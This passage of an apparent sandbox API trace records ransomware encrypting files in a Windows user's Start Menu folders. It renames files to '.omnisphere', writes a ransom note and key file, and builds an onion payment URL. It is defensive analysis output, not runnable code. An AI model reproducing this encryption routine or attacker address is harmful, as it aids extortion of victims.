dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptDestroyKey (hKey=0x16396a8) returned 1 [0140.167] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0140.167] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xae, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0140.168] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0140.169] GetProcessHeap () returned 0x1600000 [0140.169] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ec) returned 0x17261d0 [0140.169] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini.omnisphere")) returned 1 [0140.172] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.omnisphere.id" [0140.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0140.173] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0140.174] CloseHandle (hObject=0x3b4) returned 1 [0140.176] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0140.176] CloseHandle (hObject=0x388) returned 1 [0140.176] SetEndOfFile (hFile=0x3c0) returned 1 [0140.178] FlushFileBuffers (hFile=0x3c0) returned 1 [0140.180] CloseHandle (hObject=0x3c0) returned 1 [0140.181] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned 1 [0140.181] GetProcessHeap () returned 0x1600000 [0140.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17264c8 [0140.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.181] GetProcessHeap () returned 0x1600000 [0140.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd730 [0140.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd730, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0140.181] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0140.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.181] GetProcessHeap () returned 0x1600000 [0140.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710180 [0140.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0140.181] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0140.181] GetProcessHeap () returned 0x1600000 [0140.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x16daae0 [0140.181] PathCombineW (in: pszDest=0x16daae0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\!DECRYPT_OMNISPHERE.txt" [0140.181] GetProcessHeap () returned 0x1600000 [0140.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171ce18 [0140.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.185] WriteFile (in: hFile=0x3c0, lpBuffer=0x171ce18*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171ce18*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0140.186] CloseHandle (hObject=0x3c0) returned 1 [0140.188] GetProcessHeap () returned 0x1600000 [0140.188] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17264c8 | out: hHeap=0x1600000) returned 1 [0140.188] GetProcessHeap () returned 0x1600000 [0140.188] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xea) returned 0x16dabe0 [0140.188] PathCombineW (in: pszDest=0x16dabe0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\unique_decrypt.key" [0140.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.189] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0140.190] CloseHandle (hObject=0x3c0) returned 1 [0140.191] GetProcessHeap () returned 0x1600000 [0140.191] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16dabe0 | out: hHeap=0x1600000) returned 1 [0140.192] GetProcessHeap () returned 0x1600000 [0140.192] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172b6e8 | out: hHeap=0x1600000) returned 1 [0140.192] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0xbf, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0140.192] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0140.193] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x34a8ebe1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a8ebe1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0140.193] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x34a8ebe1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a8ebe1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a6895d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34a6895d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a6895d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x34a6895d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a6895d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34a6895d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a6895d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a8ebe1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34a8ebe1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a8ebe1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a8ebe1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34a8ebe1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a8ebe1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0140.193] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0140.193] GetProcessHeap () returned 0x1600000 [0140.193] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0140.193] GetProcessHeap () returned 0x1600000 [0140.193] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c048 | out: hHeap=0x1600000) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2ed46b7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed46b7e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ed46b7e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ed46b7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0140.193] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0140.193] GetProcessHeap () returned 0x1600000 [0140.193] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x172b4c0 [0140.193] PathCombineW (in: pszDest=0x172b4c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Maintenance" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0140.194] GetProcessHeap () returned 0x1600000 [0140.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x172b700 [0140.194] PathCombineW (in: pszDest=0x172b700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0140.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0140.194] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0140.194] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0140.194] GetProcessHeap () returned 0x1600000 [0140.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625a28 [0140.194] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", pszFile="Desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" [0140.194] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0140.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.195] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=170) returned 1 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.195] GetTickCount () returned 0x1162e99 [0140.196] GetTickCount () returned 0x1162e99 [0140.196] GetTickCount () returned 0x1162e99 [0140.196] GetTickCount () returned 0x1162e99 [0140.196] GetTickCount () returned 0x1162e99 [0140.196] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16688a0) returned 1 [0140.196] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0140.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0140.196] CryptDestroyKey (hKey=0x1639b28) returned 1 [0140.197] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0140.197] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa, lpName=0x0) returned 0x388 [0140.197] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa) returned 0x1480000 [0140.197] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668240) returned 1 [0140.198] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639568) returned 1 [0140.198] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: 